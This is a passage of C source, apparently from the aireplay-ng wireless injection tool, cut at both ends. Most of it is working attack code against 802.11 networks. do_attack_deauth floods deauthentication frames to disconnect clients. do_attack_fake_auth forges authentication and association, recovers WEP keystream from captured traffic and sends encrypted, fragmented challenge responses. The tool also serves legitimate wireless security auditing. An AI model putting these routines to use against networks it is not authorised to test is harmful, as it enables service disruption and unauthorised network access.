drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i<RATE_NUM; i++) { if(bitrates[i] == rate) break; } if(i==RATE_NUM) i=-1; if( newrate != rate ) { if(i!=-1) { if( i>0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i<RATE_NUM-1 ) { if(bitrates[i+1] <= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } return 0; } printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ unsigned char *pkt = (unsigned char*) buf; if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] = (nb_pkt_sent & 0x0000000F) << 4; pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) caplen = read_packet( h80211, sizeof( h80211 ), NULL ); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); /* this one looks good */ return( 0 ); } int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; unsigned char pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /** if bssid != NULL its looking for a beacon frame */ int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(iface_chan == -1 && !opt.ignore_negative_one) { PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n", wi_get_ifname(wi)); return -1; } if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one)) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( unsigned char* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i<len; i++) { ph80211[i] = ph80211[i] ^ keystream[i]; } return 0; } int capture_ask_packet( int *caplen, int just_grab ) { time_t tr; struct timeval tv; struct tm *lt; fd_set rfds; long nb_pkt_read; int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset; int ret, z; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if( opt.f_minlen < 0 ) opt.f_minlen = 40; if( opt.f_maxlen < 0 ) opt.f_maxlen = 1500; if( opt.f_type < 0 ) opt.f_type = 2; if( opt.f_subtype < 0 ) opt.f_subtype = 0; if( opt.f_iswep < 0 ) opt.f_iswep = 1; tr = time( NULL ); nb_pkt_read = 0; signal( SIGINT, SIG_DFL ); while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { fclose(f_cap_out); perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska) { int t, u; int data_size; unsigned char frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet length if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t<data_size)usleep(100); if (t>=data_size) break; } } int do_attack_deauth( void ) { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; if(getnet(NULL, 0, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) printf( "NB: this attack is more effective when targeting\n" "a connected wireless client (-c <client's mac>).\n" ); n = 0; while( 1 ) { if( opt.a_count > 0 && ++n > opt.a_count ) break; usleep( 180000 ); if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) { /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 64; i++ ) { if(i == 0) { PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.r_dmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_dmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL ); if(caplen <= 0 ) break; if(caplen != 10) continue; if( tmpbuf[0] == 0xD4) { if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 ) { aacks++; } if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 64 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.r_dmac[0], opt.r_dmac[1], opt.r_dmac[2], opt.r_dmac[3], opt.r_dmac[4], opt.r_dmac[5], sacks, aacks ); } } } printf("\n"); } else { /* deauthenticate all stations */ PCT; printf( "Sending DeAuth to broadcast -- BSSID:" " [%02X:%02X:%02X:%02X:%02X:%02X]\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5] ); memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); for( i = 0; i < 128; i++ ) { if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); } } } return( 0 ); } int do_attack_fake_auth( void ) { time_t tt, tr; struct timeval tv, tv2, tv3; fd_set rfds; int i, n, state, caplen, z; int mi_b, mi_s, mi_d; int x_send; int kas; int tries; int retry = 0; int abort; int gotack = 0; unsigned char capa[2]; int deauth_wait=3; int ska=0; int keystreamlen=0; int challengelen=0; int weight[16]; int notice=0; int packets=0; int aid=0; unsigned char ackbuf[14]; unsigned char ctsbuf[10]; unsigned char iv[4]; unsigned char challenge[2048]; unsigned char keystream[2048]; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(capa, 0, 1) != 0) return 1; if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); return 1; } memcpy( ackbuf, "\xD4\x00\x00\x00", 4 ); memcpy( ackbuf + 4, opt.r_bssid, 6 ); memset( ackbuf + 10, 0, 4 ); memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 ); memcpy( ctsbuf + 4, opt.r_bssid, 6 ); tries = 0; abort = 0; state = 0; x_send=opt.npackets; if(opt.npackets == 0) x_send=4; if(opt.prga != NULL) ska=1; tt = time( NULL ); tr = time( NULL ); while( 1 ) { switch( state ) { case 0: if (opt.f_retry > 0) { if (retry == opt.f_retry) { abort = 1; return 1; } ++retry; } if(ska && keystreamlen == 0) { opt.fast = 1; //don't ask for approval memcpy(opt.f_bssid, opt.r_bssid, 6); //make the filter bssid the same, that is used for auth'ing if(opt.prga==NULL) { while(keystreamlen < 16) { capture_ask_packet(&caplen, 1); //wait for data packet z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; memcpy(iv, h80211+z, 4); //copy IV+IDX i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes if(i>1) { keystreamlen=0; } for(i=0;i<keystreamlen;i++) keystream[i] ^= h80211[i+z+4]; } } else { keystreamlen = opt.prgalen-4; memcpy(iv, opt.prga, 4); memcpy(keystream, opt.prga+4, keystreamlen); } } state = 1; tt = time( NULL ); /* attempt to authenticate */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if(ska) h80211[24]=0x01; printf("\n"); PCT; printf( "Sending Authentication Request" ); if(!ska) printf(" (Open System)"); else printf(" (Shared Key)"); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 30 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 1: /* waiting for an authentication response */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen = 0; printf("\n"); } break; case 2: state = 3; tt = time( NULL ); /* attempt to authenticate using ska */ memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); h80211[1] |= 0x40; //set wep bit, as this frame is encrypted memcpy(h80211+24, iv, 4); memcpy(h80211+28, challenge, challengelen); h80211[28] = 0x01; //its always ska in state==2 h80211[30] = 0x03; //auth sequence number 3 fflush(stdout); if(keystreamlen < challengelen+4 && notice == 0) { notice = 1; if(opt.prga != NULL) { PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4); } else { PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4); } PCT; printf( "Trying fragmented shared key fake auth.\n"); } PCT; printf( "Sending encrypted challenge." ); fflush( stdout ); gotack=0; gettimeofday(&tv2, NULL); for( i = 0; i < x_send; i++ ) { if(keystreamlen < challengelen+4) { packets=(challengelen)/(keystreamlen-4); if( (challengelen)%(keystreamlen-4) != 0 ) packets++; memcpy(h80211+24, challenge, challengelen); h80211[24]=0x01; h80211[26]=0x03; send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1); } else { add_icv(h80211, challengelen+28, 28); xor_keystream(h80211+28, keystream, challengelen+4); send_packet(h80211, 24+4+challengelen+4); } if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 3: /* waiting for an authentication response (using ska) */ if( time( NULL ) - tt >= 2 ) { if(opt.npackets > 0) { tries++; if( tries > 15 ) { abort = 1; } } else { if( x_send < 256 ) { x_send *= 2; } else { abort = 1; } } if( abort ) { printf( "\nAttack was unsuccessful. Possible reasons:\n\n" " * Perhaps MAC address filtering is enabled.\n" " * Check that the BSSID (-a option) is correct.\n" " * Try to change the number of packets (-o option).\n" " * The driver/card doesn't support injection.\n" " * This attack sometimes fails against some APs.\n" " * The card is not on the same channel as the AP.\n" " * You're too far from the AP. Get closer, or lower\n" " the transmit rate.\n\n" ); return( 1 ); } state = 0; challengelen=0; printf("\n"); } break; case 4: tries = 0; state = 5; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to associate */ memcpy( h80211, ASSOC_REQ, 28 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[28] = 0x00; h80211[29] = n; memcpy( h80211 + 30, opt.r_essid, n ); memcpy( h80211 + 30 + n, RATES, 16 ); memcpy( h80211 + 24, capa, 2); PCT; printf( "Sending Association Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 46 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 5: /* waiting for an association response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 0; challengelen = 0; printf("\n"); } break; case 6: if( opt.a_delay == 0 && opt.reassoc == 0 ) { printf("\n"); return( 0 ); } if( opt.a_delay == 0 && opt.reassoc == 1 ) { if(opt.npackets == -1) x_send = 4; state = 7; challengelen = 0; break; } if( time( NULL ) - tt >= opt.a_delay ) { if(opt.npackets == -1) x_send = 4; if( opt.reassoc == 1 ) state = 7; else state = 0; challengelen = 0; break; } if( time( NULL ) - tr >= opt.delay ) { tr = time( NULL ); printf("\n"); PCT; printf( "Sending keep-alive packet" ); fflush( stdout ); gotack=0; memcpy( h80211, NULL_DATA, 24 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); if( opt.npackets > 0 ) kas = opt.npackets; else kas = 32; for( i = 0; i < kas; i++ ) if( send_packet( h80211, 24 ) < 0 ) return( 